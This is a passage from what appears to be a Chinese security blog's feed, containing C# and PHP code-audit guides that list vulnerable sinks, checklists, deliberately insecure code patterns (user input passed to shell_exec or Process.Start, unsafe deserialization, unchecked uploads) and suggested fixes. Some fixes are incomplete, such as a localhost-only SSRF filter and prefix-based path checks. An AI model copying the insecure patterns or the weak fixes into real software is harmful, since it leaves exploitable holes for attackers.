var allowedFields = new[] { &quot;id&quot;, &quot;name&quot;, &quot;email&quot;, &quot;createdAt&quot; };
if (!allowedFields.Contains(orderBy))
    throw new ArgumentException(&quot;Invalid field&quot;);
var sql = &quot;SELECT * FROM Users ORDER BY &quot; + orderBy;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;2. 命令执行&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Process.Start()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ProcessStartInfo.FileName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ProcessStartInfo.Arguments&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ProcessStartInfo.UserName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ProcessStartInfo.Password&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户输入是否直接作为FileName&lt;/li&gt;
&lt;li&gt;Arguments是否包含用户输入&lt;/li&gt;
&lt;li&gt;UseShellExecute是否为true&lt;/li&gt;
&lt;li&gt;是否使用了绝对路径&lt;/li&gt;
&lt;li&gt;是否实现了命令白名单&lt;/li&gt;
&lt;li&gt;参数是否进行了验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式1：用户输入作为命令
string cmd = Request.QueryString[&quot;cmd&quot;];
Process.Start(cmd);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式2：通过shell执行
string hostname = Request.QueryString[&quot;hostname&quot;];
Process.Start(&quot;cmd.exe&quot;, &quot;/c ipconfig &quot; + hostname);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式3：ProcessStartInfo配置不当
var psi = new ProcessStartInfo
{
    FileName = &quot;powershell.exe&quot;,
    Arguments = &quot;-Command &quot; + userCmd,
    UseShellExecute = true  // 通过shell执行，更危险
};
Process.Start(psi);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案：命令白名单
var userCmd = Request.QueryString[&quot;cmd&quot;];
var allowedCommands = new[] { &quot;whoami&quot;, &quot;date&quot;, &quot;pwd&quot; };

if (!allowedCommands.Contains(userCmd))
    throw new ArgumentException(&quot;Command not allowed&quot;);

Process.Start(userCmd);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案：参数白名单
var hostname = Request.QueryString[&quot;hostname&quot;];
var allowedHosts = new[] { &quot;google.com&quot;, &quot;github.com&quot; };

if (!allowedHosts.Contains(hostname))
    throw new ArgumentException(&quot;Host not allowed&quot;);

var psi = new ProcessStartInfo
{
    FileName = &quot;/bin/ping&quot;,
    Arguments = $&quot;-c 4 {hostname}&quot;,
    UseShellExecute = false,
    RedirectStandardOutput = true
};

using (var process = Process.Start(psi))
{
    var output = process.StandardOutput.ReadToEnd();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;3. 文件上传和任意文件写入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;File.SaveAs()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File.WriteAllBytes()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File.WriteAllText()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileStream.Write()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File.Create()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;StreamWriter.Write()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Path.Combine()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;扩展名是否进行白名单验证&lt;/li&gt;
&lt;li&gt;是否防止了&lt;code&gt;.aspx&lt;/code&gt;、&lt;code&gt;.ashx&lt;/code&gt;等可执行文件&lt;/li&gt;
&lt;li&gt;MIME类型是否经过验证&lt;/li&gt;
&lt;li&gt;文件名是否包含路径分隔符&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;Path.GetFileName()&lt;/code&gt;清理&lt;/li&gt;
&lt;li&gt;是否生成了新文件名&lt;/li&gt;
&lt;li&gt;保存路径是否在预期目录内&lt;/li&gt;
&lt;li&gt;最终路径是否被规范化验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式1：直接使用上传文件名
if (Request.Files.Count &gt; 0)
{
    var file = Request.Files[0];
    file.SaveAs(Path.Combine(Server.MapPath(&quot;~/uploads&quot;), file.FileName));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式2：仅检查扩展名
if (Path.GetExtension(file.FileName).ToLower() == &quot;.jpg&quot;)
{
    file.SaveAs(&quot;uploads/&quot; + file.FileName);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式3：未验证保存路径
var uploadPath = &quot;uploads/&quot; + file.FileName;
file.SaveAs(uploadPath);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;public ActionResult Upload(HttpPostedFileBase file)
{
    if (file == null || file.ContentLength == 0)
        return BadRequest(&quot;No file uploaded&quot;);

    const int maxFileSize = 5 * 1024 * 1024;
    if (file.ContentLength &gt; maxFileSize)
        return BadRequest(&quot;File too large&quot;);

    var allowedExtensions = new[] { &quot;.jpg&quot;, &quot;.jpeg&quot;, &quot;.png&quot;, &quot;.gif&quot; };
    var fileExtension = Path.GetExtension(file.FileName).ToLower();
    if (!allowedExtensions.Contains(fileExtension))
        return BadRequest(&quot;File type not allowed&quot;);

    var allowedMimes = new[] { &quot;image/jpeg&quot;, &quot;image/png&quot;, &quot;image/gif&quot; };
    if (!allowedMimes.Contains(file.ContentType))
        return BadRequest(&quot;Invalid MIME type&quot;);

    string safeFileName = Guid.NewGuid().ToString() + fileExtension;

    string uploadDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, &quot;uploads&quot;);
    if (!Directory.Exists(uploadDir))
        Directory.CreateDirectory(uploadDir);

    string fullPath = Path.Combine(uploadDir, safeFileName);
    string canonicalPath = Path.GetFullPath(fullPath);
    string canonicalDir = Path.GetFullPath(uploadDir);

    if (!canonicalPath.StartsWith(canonicalDir + Path.DirectorySeparatorChar) &amp;#x26;&amp;#x26;
        canonicalPath != canonicalDir)
        return BadRequest(&quot;Invalid file path&quot;);

    file.SaveAs(fullPath);
    File.SetAttributes(fullPath, FileAttributes.Normal);

    return Ok(new { fileName = safeFileName });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. 反序列化漏洞&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;BinaryFormatter.Deserialize()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SoapFormatter.Deserialize()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NetDataContractSerializer.ReadObject()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LosFormatter.Deserialize()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ObjectStateFormatter.Deserialize()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JsonConvert.DeserializeObject()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否对不可信输入执行反序列化&lt;/li&gt;
&lt;li&gt;数据来源是否可信（HTTP、Cookie）&lt;/li&gt;
&lt;li&gt;是否实现了类白名单&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JsonConvert&lt;/code&gt;的&lt;code&gt;TypeNameHandling&lt;/code&gt;配置&lt;/li&gt;
&lt;li&gt;是否存在自定义readObject方法&lt;/li&gt;
&lt;li&gt;是否认识ViewState风险&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式1：直接反序列化用户输入
byte[] data = Convert.FromBase64String(Request.QueryString[&quot;data&quot;]);
var formatter = new BinaryFormatter();
object obj = formatter.Deserialize(new MemoryStream(data));
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式2：LosFormatter反序列化
string viewState = Request.Form[&quot;__VIEWSTATE&quot;];
var formatter = new LosFormatter();
object obj = formatter.Deserialize(viewState);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 模式3：JsonConvert不安全配置
var settings = new JsonSerializerSettings 
{
    TypeNameHandling = TypeNameHandling.All
};
var obj = JsonConvert.DeserializeObject(userInput, settings);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案1：使用安全的JsonConvert配置
var settings = new JsonSerializerSettings 
{
    TypeNameHandling = TypeNameHandling.None
};
var user = JsonConvert.DeserializeObject&amp;#x3C;User&gt;(userInput, settings);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案2：使用System.Text.Json
var options = new JsonSerializerOptions 
{
    TypeInfoResolver = null
};
var user = JsonSerializer.Deserialize&amp;#x3C;User&gt;(userInput, options);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// 方案3：ViewState安全配置
// web.config中：
// &amp;#x3C;pages enableViewStateMac=&quot;true&quot; viewStateEncryptionMode=&quot;Always&quot; /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;5. 任意文件读取&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;File.ReadAllBytes()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File.ReadAllText()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Response.WriteFile()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Response.TransmitFile()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileStream&lt;/code&gt;构造函数&lt;/li&gt;
&lt;li&gt;&lt;code&gt;StreamReader&lt;/code&gt;构造函数&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户参数是否直接作为文件路径&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;Path.GetFileName()&lt;/code&gt;清理&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;Path.GetFullPath()&lt;/code&gt;规范化&lt;/li&gt;
&lt;li&gt;最终路径是否在允许目录内&lt;/li&gt;
&lt;li&gt;是否实现了文件白名单&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;public FileResult Download(string filename)
{
    string safeName = Path.GetFileName(filename);
    string baseDir = Path.GetFullPath(&quot;~/Files/&quot;);
    string filePath = Path.Combine(baseDir, safeName);
    string canonicalPath = Path.GetFullPath(filePath);
    
    if (!canonicalPath.StartsWith(baseDir))
        return HttpNotFound();
    
    if (!System.IO.File.Exists(canonicalPath))
        return HttpNotFound();
    
    return File(System.IO.File.ReadAllBytes(canonicalPath), 
                &quot;application/octet-stream&quot;, 
                safeName);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;6. 路径遍历&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;所有文件操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;路径是否包含&lt;code&gt;..&lt;/code&gt;、&lt;code&gt;./&lt;/code&gt;等特殊序列&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;Path.GetFullPath()&lt;/code&gt;规范化&lt;/li&gt;
&lt;li&gt;规范化后路径是否在基础目录内&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;public string ValidatePath(string userInput)
{
    string baseDir = Path.GetFullPath(&quot;data/&quot;);
    string fullPath = Path.Combine(baseDir, userInput);
    string canonicalPath = Path.GetFullPath(fullPath);
    
    if (!canonicalPath.StartsWith(baseDir))
        throw new ArgumentException(&quot;Path traversal detected&quot;);
    
    return canonicalPath;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;7. XXE (XML External Entity)&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;XmlDocument.LoadXml()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XmlDocument.Load()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XmlReader.Create()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DataSet.ReadXml()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否对不可信XML进行解析&lt;/li&gt;
&lt;li&gt;DTD处理是否禁用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XmlResolver&lt;/code&gt;是否为null&lt;/li&gt;
&lt;li&gt;是否设置&lt;code&gt;XIncludeAware=false&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using (XmlReader reader = XmlReader.Create(xmlStream, settings))
{
    var doc = new XmlDocument();
    doc.Load(reader);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;8. SSRF (Server-Side Request Forgery)&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;WebClient.DownloadString()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WebClient.DownloadData()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HttpClient.GetAsync()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HttpClient.PostAsync()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WebRequest.Create()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否允许用户指定URL&lt;/li&gt;
&lt;li&gt;是否检测内部地址（127.0.0.1、localhost）&lt;/li&gt;
&lt;li&gt;是否限制了协议（仅HTTP/HTTPS）&lt;/li&gt;
&lt;li&gt;是否防止了DNS重绑定&lt;/li&gt;
&lt;li&gt;域名是否在白名单内&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;public async Task&amp;#x3C;string&gt; FetchUrlSafely(string url)
{
    if (!Uri.TryCreate(url, UriKind.Absolute, out Uri uri))
        throw new ArgumentException(&quot;Invalid URL&quot;);
    
    if (uri.Scheme != &quot;http&quot; &amp;#x26;&amp;#x26; uri.Scheme != &quot;https&quot;)
        throw new ArgumentException(&quot;Only HTTP/HTTPS allowed&quot;);
    
    if (uri.Host == &quot;127.0.0.1&quot; || uri.Host == &quot;localhost&quot;)
        throw new ArgumentException(&quot;Internal address not allowed&quot;);
    
    using (var client = new HttpClient())
    {
        return await client.GetStringAsync(url);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;9. 其他漏洞&lt;/h2&gt;
&lt;h3&gt;XSS&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;Response.Write()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：是否对输出进行HTML编码&lt;/p&gt;
&lt;h3&gt;LDAP注入&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;DirectorySearcher.Filter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：是否对LDAP过滤器参数化&lt;/p&gt;
&lt;h3&gt;表达式注入&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;System.Linq.Dynamic&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：是否允许用户提供表达式&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. 审计工具&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;静态分析：CodeQL、Semgrep、SonarQube、Fortify&lt;/li&gt;
&lt;li&gt;动态检测：OWASP ZAP、Burp Suite&lt;/li&gt;
&lt;li&gt;依赖检查：NuGet Audit、Snyk&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>PHP 代码审计 - 漏洞Sink点</title><link>https://blog.0xd00.com/blog/php_audit</link><guid isPermaLink="true">https://blog.0xd00.com/blog/php_audit</guid><description>PHP 代码审计 - 漏洞Sink点</description><pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. SQL注入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mysql_query()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mysqli_query()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mysqli::query()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PDO::query()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PDOStatement::execute()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PDO::prepare()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否使用参数化查询&lt;/li&gt;
&lt;li&gt;SQL字符串是否通过拼接构造&lt;/li&gt;
&lt;li&gt;用户输入是否直接进入SQL&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;PDO::ATTR_EMULATE_PREPARES=false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;DSN中是否指定字符集&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;bindParam()&lt;/code&gt;或&lt;code&gt;bindValue()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;特殊子句是否有白名单验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式1：直接拼接
$username = $_GET[&apos;username&apos;];
$query = &quot;SELECT * FROM users WHERE username = &apos;&quot; . $username . &quot;&apos;&quot;;
$result = mysqli_query($conn, $query);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式2：PDO未关闭模拟预处理
$pdo = new PDO(&quot;mysql:host=localhost;dbname=test&quot;, &quot;user&quot;, &quot;pass&quot;);
// PDO::ATTR_EMULATE_PREPARES默认为true
$stmt = $pdo-&gt;prepare(&quot;SELECT * FROM users WHERE id = ?&quot;);
$stmt-&gt;execute([$_GET[&apos;id&apos;]]);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式3：mysql_*函数
$username = mysql_real_escape_string($_GET[&apos;username&apos;]);
// 即使使用转义，也可能被绕过
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案1：PDO参数化（完整配置）
$pdo = new PDO(
    &quot;mysql:host=localhost;dbname=test;charset=utf8mb4&quot;,
    &quot;user&quot;,
    &quot;pass&quot;,
    [PDO::ATTR_EMULATE_PREPARES =&gt; false]
);

$username = $_GET[&apos;username&apos;];
$stmt = $pdo-&gt;prepare(&quot;SELECT * FROM users WHERE username = ?&quot;);
$stmt-&gt;execute([$username]);
$users = $stmt-&gt;fetchAll();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案2：命名占位符
$stmt = $pdo-&gt;prepare(&quot;SELECT * FROM users WHERE username = :username&quot;);
$stmt-&gt;bindParam(&apos;:username&apos;, $_GET[&apos;username&apos;], PDO::PARAM_STR);
$stmt-&gt;execute();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案3：MySQLi参数化
$username = $_GET[&apos;username&apos;];
$stmt = $conn-&gt;prepare(&quot;SELECT * FROM users WHERE username = ?&quot;);
$stmt-&gt;bind_param(&quot;s&quot;, $username);
$stmt-&gt;execute();
$result = $stmt-&gt;get_result();
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;2. 命令执行&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;shell_exec()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exec()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;system()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;passthru()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;popen()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;proc_open()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eval()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;assert()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户输入是否直接作为命令&lt;/li&gt;
&lt;li&gt;是否通过shell执行（&lt;code&gt;/bin/sh -c&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;是否实现了命令白名单&lt;/li&gt;
&lt;li&gt;php.ini的&lt;code&gt;disable_functions&lt;/code&gt;配置&lt;/li&gt;
&lt;li&gt;是否过滤了特殊字符&lt;/li&gt;
&lt;li&gt;反引号是否被使用&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式1：直接执行用户输入
$cmd = $_GET[&apos;cmd&apos;];
$output = shell_exec($cmd);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式2：通过shell执行
$host = $_GET[&apos;host&apos;];
echo shell_exec(&quot;ping &quot; . $host);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式3：简单的字符替换过滤
$cmd = str_replace(&quot;;&quot;, &quot;&quot;, $_GET[&apos;cmd&apos;]);
// 但| 仍可使用
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案1：命令白名单
$cmd = $_GET[&apos;cmd&apos;];
$allowedCommands = [&apos;whoami&apos;, &apos;date&apos;, &apos;pwd&apos;];

if (!in_array($cmd, $allowedCommands)) {
    die(&quot;Command not allowed&quot;);
}

echo shell_exec($cmd);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案2：参数白名单
$host = $_GET[&apos;host&apos;];
$allowedHosts = [&apos;google.com&apos;, &apos;github.com&apos;, &apos;example.com&apos;];

if (!in_array($host, $allowedHosts)) {
    die(&quot;Host not allowed&quot;);
}

echo shell_exec(&quot;ping -c 4 &quot; . escapeshellarg($host));
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;3. 文件上传和任意文件写入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;move_uploaded_file()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fopen() + fwrite()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;file_put_contents()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chmod()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mkdir()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;扩展名是否进行白名单验证&lt;/li&gt;
&lt;li&gt;是否防止了&lt;code&gt;.php&lt;/code&gt;、&lt;code&gt;.phtml&lt;/code&gt;等可执行文件&lt;/li&gt;
&lt;li&gt;MIME类型是否经过验证&lt;/li&gt;
&lt;li&gt;文件名是否包含路径分隔符&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;basename()&lt;/code&gt;清理&lt;/li&gt;
&lt;li&gt;保存路径是否在预期目录内&lt;/li&gt;
&lt;li&gt;是否生成了新文件名&lt;/li&gt;
&lt;li&gt;最终路径是否被规范化验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式1：直接使用上传文件名
if ($_FILES[&apos;file&apos;][&apos;error&apos;] == UPLOAD_ERR_OK) {
    $filename = $_FILES[&apos;file&apos;][&apos;name&apos;];
    move_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;], &quot;uploads/&quot; . $filename);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式2：仅检查扩展名
if (strpos($_FILES[&apos;file&apos;][&apos;name&apos;], &apos;.jpg&apos;) !== false) {
    move_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;], &quot;uploads/&quot; . $_FILES[&apos;file&apos;][&apos;name&apos;]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式3：使用客户端MIME
if ($_FILES[&apos;file&apos;][&apos;type&apos;] == &apos;image/jpeg&apos;) {
    move_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;], &quot;uploads/&quot; . $_FILES[&apos;file&apos;][&apos;name&apos;]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$allowed_extensions = [&apos;jpg&apos;, &apos;jpeg&apos;, &apos;png&apos;, &apos;gif&apos;];
$max_file_size = 5 * 1024 * 1024;

if ($_FILES[&apos;file&apos;][&apos;error&apos;] != UPLOAD_ERR_OK) {
    die(&quot;Upload error&quot;);
}

if ($_FILES[&apos;file&apos;][&apos;size&apos;] &gt; $max_file_size) {
    die(&quot;File too large&quot;);
}

$filename = $_FILES[&apos;file&apos;][&apos;name&apos;];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($ext, $allowed_extensions)) {
    die(&quot;File type not allowed&quot;);
}

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES[&apos;file&apos;][&apos;tmp_name&apos;]);
finfo_close($finfo);

$allowed_mimes = [&apos;image/jpeg&apos;, &apos;image/png&apos;, &apos;image/gif&apos;];
if (!in_array($mime, $allowed_mimes)) {
    die(&quot;Invalid MIME type&quot;);
}

$new_filename = bin2hex(random_bytes(16)) . &apos;.&apos; . $ext;

$upload_dir = &apos;/absolute/path/to/uploads&apos;;
$upload_path = $upload_dir . DIRECTORY_SEPARATOR . $new_filename;
$upload_path = realpath(dirname($upload_path)) . DIRECTORY_SEPARATOR . $new_filename;

if (strpos($upload_path, realpath($upload_dir)) !== 0) {
    die(&quot;Invalid file path&quot;);
}

if (!move_uploaded_file($_FILES[&apos;file&apos;][&apos;tmp_name&apos;], $upload_path)) {
